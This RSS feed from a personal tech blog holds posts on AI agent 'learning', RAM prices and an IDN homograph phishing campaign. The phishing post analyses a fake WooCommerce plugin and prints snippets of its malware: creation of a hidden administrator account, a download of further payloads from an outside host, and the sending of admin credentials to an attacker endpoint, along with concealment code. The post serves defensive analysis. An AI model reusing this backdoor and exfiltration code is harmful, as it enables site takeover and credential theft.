<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:atom="http://www.w3.org/2005/Atom"
  xmlns:media="http://search.yahoo.com/mrss/">
  <channel>
    <title><![CDATA[Darko Gjorgjijoski · Blog]]></title>
    <atom:link href="https://darkog.com/rss" rel="self" type="application/rss+xml" />
    <link>https://darkog.com</link>
    <description><![CDATA[Posts by Darko Gjorgjijoski: software engineering, infrastructure, AI, and the occasional grumpy take.]]></description>
    <language>en-US</language>
    <lastBuildDate>Sat, 28 Mar 2026 00:00:00 GMT</lastBuildDate>
    <item>
      <title><![CDATA[AI Agents Don’t Learn. Stop Saying They Do.]]></title>
      <link>https://darkog.com/blog/ai-agents-dont-learn-stop-saying-they-do</link>
      <pubDate>Sat, 28 Mar 2026 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[AI Systems]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/ai-agents-dont-learn-stop-saying-they-do</guid>
      <description><![CDATA[There’s a phrase making the rounds in AI marketing that’s doing real damage: “AI agents continuously learn, execute decisions, and improve automatically.” Sounds impressive. It’s also dangerously misleading. If you take one thing from this post, let it be this: AI agents do not learn. Getting this right matters more than most people realize. What’s […]]]></description>
      <media:content url="https://media.darkog.com/uploads/2026/03/Gemini_Generated_Image_7a7nci7a7nci7a7n-1024x559.webp" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2026/03/Gemini_Generated_Image_7a7nci7a7nci7a7n-1024x559.webp" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">There&#8217;s a phrase making the rounds in AI marketing that&#8217;s doing real damage: <em>&#8220;AI agents continuously learn, execute decisions, and improve automatically.&#8221;</em> Sounds impressive. It&#8217;s also dangerously misleading.</p>



<p class="wp-block-paragraph">If you take one thing from this post, let it be this: <strong>AI agents do not learn.</strong> Getting this right matters more than most people realize.</p>



<h2 class="wp-block-heading">What&#8217;s Actually Happening Under the Hood</h2>



<p class="wp-block-paragraph">Every AI agent you&#8217;re hearing about right now, whether it&#8217;s OpenClaw, AutoGPT, CrewAI, or any custom agent, is powered by a Large Language Model. An LLM is a statistical model trained on massive amounts of text. That training happened <em>before</em> you ever interacted with it. When you chat with an agent, you&#8217;re not training it. You&#8217;re prompting it.</p>



<p class="wp-block-paragraph">The LLM processes your input, generates a response based on patterns it learned during training, and moves on. When the conversation ends, the model weights (the actual &#8220;knowledge&#8221; of the system) remain exactly as they were. Nothing changed. Nothing was learned.</p>



<p class="wp-block-paragraph">This is true for ChatGPT, Claude, Gemini, and every agent built on top of them.</p>



<figure class="wp-block-image size-full"><img decoding="async" src="https://media.darkog.com/uploads/2026/03/myth-vs-reality-agent-learning.svg" alt="" class="wp-image-2102"/></figure>



<h2 class="wp-block-heading">&#8220;But What About Memory?&#8221;</h2>



<p class="wp-block-paragraph">This is where the confusion lives.</p>



<p class="wp-block-paragraph">Yes, some agent frameworks persist information between sessions. OpenClaw stores interaction history locally in files, including a <code>SOUL.md</code> that defines the agent&#8217;s identity. AutoGPT maintains &#8220;long-term memory&#8221; in a vector database. CrewAI&#8217;s marketing literally says it includes &#8220;memory capabilities that allow agents to learn from past interactions and improve over time.&#8221;</p>



<p class="wp-block-paragraph">So what&#8217;s actually happening? The agent is reading and writing text files. OpenClaw&#8217;s memory is a directory of markdown and JSON files you can open in any text editor. AutoGPT&#8217;s &#8220;long-term memory&#8221; is stored embeddings of past interactions. None of these systems update the LLM&#8217;s neural network. They&#8217;re saving notes to disk that <em>might</em> get injected back into the prompt next time.</p>



<p class="wp-block-paragraph">The LLM reading that note tomorrow is just as likely to misinterpret it, ignore it, or contradict it as it is to use it well. And depending on how the context window is managed, the note might not even make it into the prompt.</p>



<p class="wp-block-paragraph">Calling this &#8220;learning&#8221; is like saying your terminal learned something because you wrote to a log file.</p>



<h2 class="wp-block-heading">The Team Learns. The Agent Doesn&#8217;t.</h2>



<p class="wp-block-paragraph">Here&#8217;s what actually drives improvement in agent-based systems: <strong>the people building and managing them.</strong></p>



<p class="wp-block-paragraph">Engineers observe failure modes and adjust prompts. They add guardrails, refine system instructions, swap out tools, and restructure workflows. A well-maintained agent gets better over time, but the learning is happening in the team, not in the model. The LLM itself remains unchanged.</p>



<h2 class="wp-block-heading">Why This Distinction Actually Matters</h2>



<p class="wp-block-paragraph">When people believe agents are learning, they over-trust them. &#8220;It&#8217;s been running for three months, it must be good by now.&#8221; No, it&#8217;s the same model it was on day one. A Meta AI security researcher told her OpenClaw agent to &#8220;confirm before acting&#8221; on her inbox. It ignored her and started speed-deleting emails. She had to physically run to her Mac Mini to kill the process. The agent didn&#8217;t learn to ignore her instruction. It never understood it in the first place.</p>



<figure class="wp-block-embed is-type-rich is-provider-twitter wp-block-embed-twitter"><div class="wp-block-embed__wrapper">
<blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">Nothing humbles you like telling your OpenClaw “confirm before acting” and watching it speedrun deleting your inbox. I couldn’t stop it from my phone. I had to RUN to my Mac mini like I was defusing a bomb. <a href="https://t.co/XAxyRwPJ5R">pic.twitter.com/XAxyRwPJ5R</a></p> -  Summer Yue (@summeryue0) <a href="https://twitter.com/summeryue0/status/2025774069124399363?ref_src=twsrc%5Etfw">February 23, 2026</a></blockquote><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
</div></figure>



<p class="wp-block-paragraph">The real risks aren&#8217;t sci-fi self-improvement scenarios. They&#8217;re an agent with too much file access deleting things it shouldn&#8217;t, a prompt injection leaking context, or a third-party skill quietly exfiltrating data (Cisco&#8217;s security team caught exactly this happening with an OpenClaw skill). These are governance problems, not learning problems, and they require guardrails, not awe.</p>



<h2 class="wp-block-heading">What Agentic AI Actually Is (And It&#8217;s Still Impressive)</h2>



<p class="wp-block-paragraph">Strip away the marketing and what you have is genuinely useful: an agent that can call tools, not just having some LLM generate text. Through protocols like MCP and function calling, it can trigger API requests, read and write files, execute code, and chain together multi-step workflows. The LLM itself is still just generating text, but that text is structured as tool calls that external systems execute on its behalf.</p>



<p class="wp-block-paragraph">That&#8217;s powerful. OpenClaw can manage your calendar and send emails from a Telegram message. CrewAI can coordinate specialized agents where one researches, another writes, and a third reviews. What used to take an afternoon can happen in minutes.</p>



<p class="wp-block-paragraph">But the value comes from good system design, not from some mythical self-improvement loop.</p>



<h2 class="wp-block-heading">The Bottom Line</h2>



<p class="wp-block-paragraph">Agentic AI is a meaningful step forward. LLMs that can call external tools and orchestrate multi-step processes open up real possibilities for automating complex work. That&#8217;s valuable on its own terms.</p>



<p class="wp-block-paragraph">We don&#8217;t need to pretend they&#8217;re something they&#8217;re not. The reality is interesting enough.</p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[They want you to rent your computer]]></title>
      <link>https://darkog.com/blog/they-want-you-to-rent-your-computer</link>
      <pubDate>Mon, 29 Dec 2025 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Archive]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/they-want-you-to-rent-your-computer</guid>
      <description><![CDATA[The Intro I’ve been watching RAM prices climb for over a month now, and it’s getting hard to ignore. DDR5 kits that cost $99 in March are now over $350. SSDs have almost tripled. I thought it was just typical market fluctuation, supply chain issues, tariffs, whatever. But the more I dig into it, the […]]]></description>
      <media:content url="https://media.darkog.com/uploads/2025/12/ram-prices-4-3-1024x1024.webp" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2025/12/ram-prices-4-3-1024x1024.webp" />
      <content:encoded><![CDATA[
<h2 class="wp-block-heading">The Intro</h2>



<p class="wp-block-paragraph">I&#8217;ve been watching RAM prices climb for over a month now, and it&#8217;s getting hard to ignore. </p>



<p class="wp-block-paragraph">DDR5 kits that cost $99 in March are now over $350. SSDs have almost tripled. I thought it was just typical market fluctuation, supply chain issues, tariffs, whatever. But the more I dig into it, the more it becomes clear. This isn&#8217;t a supply problem but a choice. The three companies that control memory production are getting into supplying data centers first and the regular consumer comes second.</p>



<p class="wp-block-paragraph">And I think that&#8217;s the point. If you can&#8217;t afford to own a capable computer, you&#8217;ll rent one.</p>



<h2 class="wp-block-heading">What&#8217;s Actually Happening</h2>



<p class="wp-block-paragraph">Three companies control over 93% of the world&#8217;s memory: Samsung, SK Hynix, and Micron. Everyone else like Corsair, G.Skill, Kingston just buys chips from these three and sticks their logo on it. This oligopoly has been called a &#8220;cartel&#8221; by prosecutors, and memory suppliers have been convicted of price fixing before. These days they&#8217;ve &#8220;fixed&#8221; that problem by discussing pricing publicly in earnings calls instead of behind closed doors.</p>



<p class="wp-block-paragraph">In December 2025, Micron <a href="https://overclock3d.net/news/memory/micron-kills-crucial-throws-consumers-under-the-bus/#:~:text=Micron%20has%20announced%20that%20it,our%20larger%2C%20strategic%20customers%E2%80%9D." data-type="link" data-id="https://overclock3d.net/news/memory/micron-kills-crucial-throws-consumers-under-the-bus/#:~:text=Micron%20has%20announced%20that%20it,our%20larger%2C%20strategic%20customers%E2%80%9D." target="_blank" rel="noreferrer noopener">killed its consumer brand Crucial</a> to focus entirely on AI data centers. Their statement was corporate-speak for &#8220;AI companies pay more, so goodbye.&#8221; Samsung has jacked up DDR5 contract prices by over 100% per unit. Even old DDR4 now costs almost the same as current-gen memory.</p>



<p class="wp-block-paragraph">So, a 32GB DDR5 kit that cost $99 in March now goes for over $350. In some markets, prices have jumped by 650% since September. According to <a href="https://www.tomshardware.com/pc-components/dram/the-ram-pricing-crisis-has-only-just-started-team-group-gm-warns-says-problem-will-get-worse-in-2026-as-dram-and-nand-prices-double-in-one-month" target="_blank" rel="noreferrer noopener">Tom&#8217;s Hardware</a>, Team Group&#8217;s GM warned this is just the start of a &#8220;multiyear&#8221; crisis that will get worse in 2026.</p>



<p class="wp-block-paragraph">However, this works really well for those three corporations. For example, Micron&#8217;s stock is up 190% this year. I don&#8217;t think they are struggling. They just don&#8217;t care about consumers anymore like me and you.</p>



<p class="wp-block-paragraph">All these companies took billions in taxpayer subsidies under the CHIPS Act to build their factories. Now they&#8217;re telling those same taxpayers to get lost while shipping everything to OpenAI, Microsoft, and Google. OpenAI&#8217;s Stargate project alone is projected to consume up to 40% of global DRAM output. The companies behind the AI data centers are booking memory supply years in advance. Building new fabs takes three years minimum. Even if they decided today to care about consumers again, relief wouldn&#8217;t come until 2029.</p>



<h2 class="wp-block-heading">The Real End Game</h2>



<p class="wp-block-paragraph">Here&#8217;s where it gets dark. As <a href="https://www.youtube.com/watch?v=9A-eeJP0J7c" target="_blank" rel="noreferrer noopener">Gamers Nexus</a> put it:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">&#8220;If you want 128 gigabytes of RAM on a computer to run a calculation, but you can&#8217;t afford the 250% higher price, then good news, you&#8217;ll be able to rent it remotely for just some money every month forever.&#8221;</p>
</blockquote>



<p class="wp-block-paragraph">And further:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">&#8220;What they can also do is continue processing your daily computing needs in those data centers while making the hardware impossible for you to buy because you can&#8217;t afford it, because they bought it all. That&#8217;s where I think this is going.&#8221;</p>
</blockquote>



<p class="wp-block-paragraph">If RAM costs $2,000 instead of $200, how do you run demanding software? You don&#8217;t. At least not locally. Instead, you&#8217;ll pay monthly to access computing power in their data centers.</p>



<p class="wp-block-paragraph">The hardware shortage makes this transition easy. All that memory they&#8217;re hoarding for AI infrastructure can also process your video editing, your 3D rendering, any of your work for a fee, every month, indefinitely. Your computer becomes just a terminal to access their network.</p>



<p class="wp-block-paragraph">Cloud devices don&#8217;t need powerful hardware inside. Corporations hook you with low subscription prices, then jack them up once you&#8217;re dependent. A world relying on cloud computing is a privacy and control nightmare. But it&#8217;s incredibly profitable.</p>



<h2 class="wp-block-heading">Signs of Resistance</h2>



<p class="wp-block-paragraph">There&#8217;s some pushback. Chinese manufacturer CXMT now produces 6% of global DRAM and just launched competitive DDR5 chips. According to <a href="https://videocardz.com/newz/chinese-company-launches-new-intel-z790-ddr4-motherboard-priced-around-111" target="_blank" rel="noreferrer noopener">VideoCardz</a>, Chinese company ONDA released a $111 motherboard that uses cheaper DDR4 memory. And according to <a href="https://en.overclocking.com/asus-plans-to-enter-the-ram-market-as-early-as-2026/" target="_blank" rel="noreferrer noopener">Overclocking.com</a>, ASUS was reportedly planning to enter the RAM market by 2026 but <a href="https://www.tomshardware.com/pc-components/dram/no-asus-isnt-going-into-memory-manufacturing-taiwanese-tech-giant-issues-statement-smashing-rumor" target="_blank" rel="noreferrer noopener">the claim was denied by ASUS</a>.</p>



<p class="wp-block-paragraph">But these are small cracks in a massive wall.</p>



<h2 class="wp-block-heading">What This Means for You</h2>



<p class="wp-block-paragraph">This isn&#8217;t just about PC builders or gamers. Memory is in your phone, your car, your fridge, your smartwatch. When memory prices double, everything with a chip gets more expensive or manufacturers quietly give you less RAM while keeping the price the same.</p>



<p class="wp-block-paragraph">The democratization of computing where regular people could own powerful machines is collpasing. Unfortunately there&#8217;s too much corporate greed involved and maybe someone has a vision to make the personal computers in the cloud where people can rent their computers.</p>



<p class="wp-block-paragraph">Personally, I&#8217;m set for the years to come owning all kinds of computers mostly latest-gen DDR5 builds. For work, my homelab, for a backup, for testing. Also, just recently secured some more DDR5 sticks for spare parts. But this doesn&#8217;t make me feel better knowing that RAM memory modules may become unavailable for the regular consumers very soon.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[When Letters Lie: Analyzing a Typical IDN Homograph Attack]]></title>
      <link>https://darkog.com/blog/analyzing-a-typical-idn-homograph-attack</link>
      <pubDate>Fri, 16 May 2025 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Security Engineering]]></category>
      <category><![CDATA[cyber security]]></category>
      <category><![CDATA[http-spoofing]]></category>
      <category><![CDATA[idn homograph]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/analyzing-a-typical-idn-homograph-attack</guid>
      <description><![CDATA[Introduction This article is a brief overview of IDN homograph attacks with a real-world case. A client recently forwarded a suspicious “security update” email. Upon investigation, it turned out to be part of a sophisticated phishing campaign targeting website owners. The attacker is trying to impersonate WooCommerce, claiming a critical vulnerability has been patched and […]]]></description>
      <media:content url="https://media.darkog.com/uploads/2025/04/Homograph.png" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2025/04/Homograph.png" />
      <content:encoded><![CDATA[
<h2 class="wp-block-heading">Introduction</h2>



<p class="wp-block-paragraph">This article is a brief overview of IDN homograph attacks with a real-world case.</p>



<p class="wp-block-paragraph">A client recently forwarded a suspicious &#8220;security update&#8221; email. Upon investigation, it turned out to be part of a sophisticated phishing campaign targeting website owners. The attacker is trying to impersonate WooCommerce, claiming a critical vulnerability has been patched and urges recipients to download a fake &#8220;security update&#8221; which is actually a trap designed to compromise web stores running on WooCommerce.</p>



<h2 class="wp-block-heading">How it works</h2>



<p class="wp-block-paragraph">The attackers registered the domain &#8220;woocommerċe.com&#8221; (Notice anything unusual?). At first, this domain appears identical to the legitimate &#8220;woocommerce.com&#8221; website. However, there&#8217;s a critical difference: the second &#8220;c&#8221; in the malicious domain isn&#8217;t the standard Latin &#8220;c&#8221; character but rather &#8220;ċ&#8221; – a special character with a dot above it that looks nearly identical in most fonts and email clients.</p>



<p class="wp-block-paragraph">When users click links in these phishing emails, they&#8217;re directed to pages like:</p>



<pre class="wp-block-code"><code>https:&#47;&#47;woocommerċe.com/products/woocommerce-authbypass-update/</code></pre>



<p class="wp-block-paragraph">This page mimics WooCommerce&#8217;s official website and prompts users to download a &#8220;critical security patch&#8221; which is actually malicious software masked as a WooCommerce plugin.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="910" height="1024" src="https://media.darkog.com/uploads/2025/04/Screenshot-From-2025-04-22-23-21-40-910x1024.png" alt="Phishing page with a Download link" class="wp-image-1859" srcset="https://media.darkog.com/uploads/2025/04/Screenshot-From-2025-04-22-23-21-40-910x1024.png 910w, https://media.darkog.com/uploads/2025/04/Screenshot-From-2025-04-22-23-21-40-267x300.png 267w, https://media.darkog.com/uploads/2025/04/Screenshot-From-2025-04-22-23-21-40-768x864.png 768w, https://media.darkog.com/uploads/2025/04/Screenshot-From-2025-04-22-23-21-40.png 1170w" sizes="auto, (max-width: 910px) 100vw, 910px" /></figure>



<p class="wp-block-paragraph">For a comparison, the legitimate WooCommerce site doesn&#8217;t have this page at all:</p>



<pre class="wp-block-code"><code>https://woocommerce.com/products/woocommerce-authbypass-update/ (returns a 404 error)</code></pre>



<h2 class="wp-block-heading">What is a IDN Homograph attack</h2>



<p class="wp-block-paragraph">This technique is known as a <strong>IDN Homograph attack</strong> (also called an <strong>I</strong>nternationalized <strong>D</strong>omain <strong>N</strong>ame <strong>H</strong>omograph attack or Script Spoofing). It exploits the visual similarity between characters in different writing systems or alphabets to create convincing fake domains.</p>



<p class="wp-block-paragraph">In Unicode, there are many characters from different alphabets that look identical or nearly identical to Latin alphabet characters. For instance:</p>



<ul class="wp-block-list">
<li>The Cyrillic &#8220;о&#8221; looks like the Latin &#8220;o&#8221;</li>



<li>The Greek &#8220;ρ&#8221; resembles the Latin &#8220;p&#8221;</li>



<li>And as I&#8217;ve shown, the Latin &#8220;c&#8221; with a dot (ċ) looks just like a regular &#8220;c&#8221;</li>
</ul>



<p class="wp-block-paragraph">Browsers display these special characters in a way that makes the fraudulent domains nearly indistinguishable from legitimate ones. The attack is effective because:</p>



<ol class="wp-block-list">
<li>Most users don&#8217;t inspect URLs character by character</li>



<li>Email clients and browsers don&#8217;t highlight these subtle differences</li>



<li>The domains can obtain HTTPS certificates, showing the &#8220;secure&#8221; padlock icon</li>



<li>The websites can be exact visual copies of legitimate sites</li>
</ol>



<h2 class="wp-block-heading">Why IDN Homograph attacks are dangerous</h2>



<p class="wp-block-paragraph">This phishing campaign is especially concerning for several reasons:</p>



<ol class="wp-block-list">
<li>It specifically targets WooCommerce users, who typically run e-commerce businesses with valuable customer data and payment information.</li>



<li>By claiming to address a critical security vulnerability, the attackers create a sense of urgency that might override normal caution.</li>



<li>The &#8220;patch&#8221; is actually malicious software that could potentially:
<ul class="wp-block-list">
<li>Steal customer data and payment information</li>



<li>Capture admin credentials</li>



<li>Install backdoors for future access</li>



<li>Compromise the entire website or server</li>
</ul>
</li>



<li>The domain impersonation makes standard security advice like &#8220;check the URLs&#8221; less effective.</li>
</ol>



<h2 class="wp-block-heading">Under the Hood: What this malicious plugin does</h2>



<p class="wp-block-paragraph">I&#8217;ve obtained the actual malicious plugin code distributed through the link:</p>



<pre class="wp-block-code"><code>https:&#47;&#47;woocommerċe.com/download/authentication-bypass-fix?download</code></pre>



<p class="wp-block-paragraph"><em><strong>Disclaimer</strong>: Do not install this on your websites.</em></p>



<p class="wp-block-paragraph">Let&#8217;s analyze this malware to understand exactly how it works and what&#8217;s used to compromise websites.</p>



<h3 class="wp-block-heading">Plugin Header Fakery</h3>



<p class="wp-block-paragraph">The attackers carefully crafted the plugin header to appear legitimate:</p>



<pre class="wp-block-code"><code>// Plugin Name: Woo Vulnerability Fix
// Description: Essential security update for WooCommerce vulnerabilities.
// Version: v1.0.0
// Author: WooCommerce
// Author URI: https://woocommerce.com/</code></pre>



<p class="wp-block-paragraph">This professional presentation helps bypass the initial suspicion a site administrator might have when installing a plugin.</p>



<h3 class="wp-block-heading">Backdoor Creation</h3>



<p class="wp-block-paragraph">The core functionality of this malware is to create a persistent backdoor through multiple mechanisms:</p>



<h4 class="wp-block-heading">1. <strong>Hidden Administrator Account</strong>:</h4>



<p class="wp-block-paragraph">The plugin creates a new administrator user with a programmatically generated username and random password. The code snippet responsible for this:</p>



<pre class="wp-block-code"><code>function sortProfile899()
{
   $set="WP_User";
   $k = databaseManager856();  // Generates username based on site URL
   $m = queueAverage411();     // Generates random password
   $id = null;
   if (!username_exists($k)) {
       $o = wp_create_user($k, $m);
       if (!is_wp_error($o)) {
           $p = new $set($o);
           $ddf = "p";
           ${$ddf}-&gt;set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));  // "administrator" encoded
           parseHeap180($k, $m);
           $id = $p-&gt;ID;
       }
   } else {
       // If user exists, ensure they have admin privileges
       $r = get_user_by('login', $k);
       if ( $r &amp;&amp; !in_array( base64_decode('YWRtaW5pc3RyYXRvcg'), (array) $r-&gt;roles, true ) ) {
           $r-&gt;set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));
           $id = $r-&gt;ID;
       }
   }
   // Additional code to handle Wordfence admin
}</code></pre>



<h4 class="wp-block-heading">2. <strong>Secondary Backdoors</strong>:</h4>



<p class="wp-block-paragraph">The function <code>computeSaved755()</code> downloads additional malicious code from an external server and places it in the uploads directory with obfuscated filenames:</p>



<pre class="wp-block-code"><code>function computeSaved755() {
   $scanningToken = "aHR0cHM6Ly93b29jb21tZXJjZS1oZWxwLmNvbS9hY3RpdmF0ZQ";
   $contents = wp_remote_get(base64_decode($scanningToken), &#91;'timeout' =&gt; 30]);
   if ( !is_array( $contenchannelsts ) &amp;&amp; is_wp_error( $contents ) ) { return; }
   $detections = json_decode(base64_decode($contents&#91;'body']), true);
   for ($i=1;$i&lt;4;$i++) {
       $iteration = 'wp-cached-'.databaseManager856().strrev('php.'.$i);
       $index = 'Scan'.$i;
       $cnts = base64_decode($detections&#91;$index]);
       processDateTime421($iteration, $cnts);
   }
}</code></pre>



<p class="wp-block-paragraph">This creates files named with patterns like <code>wp-cached-[hash].i.php</code> (with reversed filename) to evade detection.</p>



<h3 class="wp-block-heading">Data Exfiltration</h3>



<p class="wp-block-paragraph">The plugin steals sensitive site information and sends it to an attacker-controlled server:</p>



<pre class="wp-block-code"><code>function parseHeap180($I, $J)
{
    $K = get_site_url(null, '', 'https');
    $L = collectComplete942();  // Gets IP address
    $N = sprintf("%s`%s`\n%s`%s`\n%s`%s`\n%s`%s`\n---", 
           base64_decode('c2l0ZXVybDog'), $K, 
           base64_decode('dXNlcjog'), $I, 
           base64_decode('cGFzczog'), $J, 
           base64_decode('aXAgYWRkcmVzczog'), $L, 
           base64_decode('YCBcbi0tLS0='));

    // Builds data package with site URL, admin username, password, and IP
    $P = &#91;base64_decode('dXNlcg') =&gt; $I, 'url' =&gt; $K, 
          base64_decode('cGFzcw') =&gt; $J, 'ip_address' =&gt; $L, 
          'iterations' =&gt; $iterations, 'siteurl' =&gt; base64_encode($N)];

    // Exfiltration endpoint (decoded: "https://wptechsolutions.org/wpapi")
    $O = "aHR0cHM6Ly93cHRlY2hzb2x1dGlvbnMub3JnL3dwYXBp";
    $Q = base64_decode($O) . '?' . http_build_query($P);
    $response = wp_remote_get($Q, &#91;'timeout' =&gt; 30]);
}</code></pre>



<p class="wp-block-paragraph">This function collects and transmits:</p>



<ul class="wp-block-list">
<li>The website URL</li>



<li>The backdoor admin username and password</li>



<li>The server&#8217;s IP address</li>



<li>Paths to the secondary backdoor files</li>
</ul>



<h3 class="wp-block-heading">Concealment Techniques</h3>



<p class="wp-block-paragraph">The attackers weren&#8217;t amateurs &#8211; their stealth game is strong. I&#8217;ve identified the following:</p>



<h4 class="wp-block-heading">1. <strong>Hidden User</strong></h4>



<p class="wp-block-paragraph"> The <u>backdoor admin user</u> is hidden from the WordPress users list by hooking this function into the <code>pre_user_query</code> WordPress filter:</p>



<pre class="wp-block-code"><code>function formatReport933($z)
{
   $A = databaseManager856();
   global $wpdb;
   $z-&gt;query_where .= $wpdb-&gt;prepare(" AND {$wpdb-&gt;users}.user_login != %s", $A);
}</code></pre>



<h4 class="wp-block-heading">2. <strong>Manipulated User Counts</strong></h4>



<p class="wp-block-paragraph">The total user and administrator counts are reduced by one to hide the <u>backdoor admin user</u> by hooking this function into the views_users WordPress filter:</p>



<pre class="wp-block-code"><code>function compressDate796($vjs)
{
   $osrs = count_users();
   $nmr = $osrs&#91;'avail_roles']&#91;'administrator'] - 1;
   $anmr = $osrs&#91;'total_users'] - 1;
   // Updates the displayed counts
}</code></pre>



<h4 class="wp-block-heading">3. <strong>Self-Protection</strong></h4>



<p class="wp-block-paragraph">The plugin prevents its own deactivation when the user hits &#8220;Deactivate&#8221; buttons:</p>



<pre class="wp-block-code"><code>function computeWorker455()
{
   wp_die('This plugin cannot be deactivated.');
}</code></pre>



<p class="wp-block-paragraph">And removes the delete link from the plugins page:</p>



<pre class="wp-block-code"><code>function dispatchMean595($smcnn, $plugin_file)
{
   $stoc = __FILE__;
   $stpc = call_user_func('plugin_basename', $stoc);
   if ($stpc === $plugin_file) {
       unset($smcnn&#91;'delete']);
   }
   return $smcnn;
};</code></pre>



<h4 class="wp-block-heading">4. <strong>Hidden Plugin</strong></h4>



<p class="wp-block-paragraph">The plugin hides itself from the WordPress plugins list:</p>



<pre class="wp-block-code"><code>function databaseInstruction266()
{
    global $current_user;
    $username = $current_user-&gt;user_login;
    if ($username == databaseManager856()) {
        return;
    }
    if (!is_plugin_active('woocommerce-update/woocommerce-update.php')) {
        return;
    }
    global $wp_list_table;
    $hidearr = array('woocommerce-update/woocommerce-update.php');
    $myplugins = $wp_list_table-&gt;items;
    foreach ($myplugins as $key =&gt; $val) {
        if (in_array($key, $hidearr)) {
            unset($wp_list_table-&gt;items&#91;$key]);
        }
    }
}</code></pre>



<h4 class="wp-block-heading">5. <strong>Persistent Access</strong> </h4>



<p class="wp-block-paragraph">Uses WordPress cron to maintain persistent access. The function <code>saveMatrix002</code> is called on every minute based on the securityStarted807 interval they registered in the plugin.</p>



<pre class="wp-block-code"><code>if (!wp_next_scheduled('saveMatrix022')) {
   wp_schedule_event(time(), 'securityStarted807', 'saveMatrix022');
}</code></pre>



<h3 class="wp-block-heading">Obfuscation Techniques</h3>



<p class="wp-block-paragraph">The malicious code uses several obfuscation techniques:</p>



<h4 class="wp-block-heading">1. <strong>Base64 Encoding</strong> </h4>



<p class="wp-block-paragraph">Sensitive strings are encoded to avoid detection:</p>



<ul class="wp-block-list">
<li>&#8216;administrator&#8217; → &#8216;YWRtaW5pc3RyYXRvcg&#8217;</li>



<li>&#8216;user&#8217; → &#8216;dXNlcg&#8217;</li>



<li>&#8216;pass&#8217; → &#8216;cGFzcw&#8217;</li>
</ul>



<h4 class="wp-block-heading">2. <strong>Misleading Function Names</strong></h4>



<p class="wp-block-paragraph">Functions like <code>roleChecker755</code>, <code>securityOptions253</code>, and <code>databaseManager856</code> suggest security-related operations while performing malicious actions.</p>



<h4 class="wp-block-heading">3. <strong>Variable Obfuscation</strong></h4>



<p class="wp-block-paragraph">Single-letter variable names and numeric suffixes make the code difficult to analyze:</p>



<pre class="wp-block-code"><code>$set="WP_User";
$k = databaseManager856();
$m = queueAverage411();
$ddf = "p";
${$ddf}-&gt;set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));</code></pre>



<h4 class="wp-block-heading">4. <strong>Dynamic Variable References</strong></h4>



<p class="wp-block-paragraph">Uses PHP&#8217;s variable variables feature to obfuscate code:</p>



<pre class="wp-block-code"><code>$ddf = "p";
${$ddf}-&gt;set_role(...);  // References $p indirectly</code></pre>



<h2 class="wp-block-heading">The bigger picture: Supply Chain Attacks</h2>



<p class="wp-block-paragraph">This attack attempts to exploit the software supply chain. The mechanism by which legitimate software updates are distributed. By impersonating a trusted vendor (WooCommerce) and delivering fake updates, attackers target one of the most sensitive routes in software security.</p>



<p class="wp-block-paragraph">I will write more about Supply Chain attacks in future, but in meanwhile i&#8217;d suggest reading this <a href="https://www.cloudflare.com/learning/security/what-is-a-supply-chain-attack/#:~:text=Any%20attack%20that%20exploits%20or,in%20their%20tools%20and%20services." target="_blank" rel="noreferrer noopener nofollow">interesting article</a> by CloudFlare.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1024" height="1024" src="https://media.darkog.com/uploads/2025/05/supply-chain-attacks.png" alt="Supply chain attack Illustration" class="wp-image-1897" srcset="https://media.darkog.com/uploads/2025/05/supply-chain-attacks.png 1024w, https://media.darkog.com/uploads/2025/05/supply-chain-attacks-300x300.png 300w, https://media.darkog.com/uploads/2025/05/supply-chain-attacks-150x150.png 150w, https://media.darkog.com/uploads/2025/05/supply-chain-attacks-768x768.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">At the end of the day, IDN Homograph attacks are just another reminder that the cyber world requires a lot of caution. These attacks are fed with our habit of quickly clicking links without a second thought.</p>



<p class="wp-block-paragraph">When someone replaces letters in a perfectly legitimate domain  like &#8220;woocommerce.com&#8221; with similar-looking characters from other alphabets, your browser displays what looks identical to the real site but you&#8217;re actually on a completely different domain controlled by attackers.</p>



<p class="wp-block-paragraph">Remember: Avoid clicking on links directly&#8230; Take a moment to hover over links, type addresses directly, and question unexpected security alerts or requests. Your safety isn&#8217;t about paranoia, it&#8217;s about building simple habits that become second nature&#8230;</p>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/IDN_homograph_attack"><br></a><br></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Migrating email from one server to another with ImapSync and Docker]]></title>
      <link>https://darkog.com/blog/migrating-email-from-one-server-to-another-with-imapsync-and-docker</link>
      <pubDate>Tue, 16 Jul 2024 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Production Engineering]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/migrating-email-from-one-server-to-another-with-imapsync-and-docker</guid>
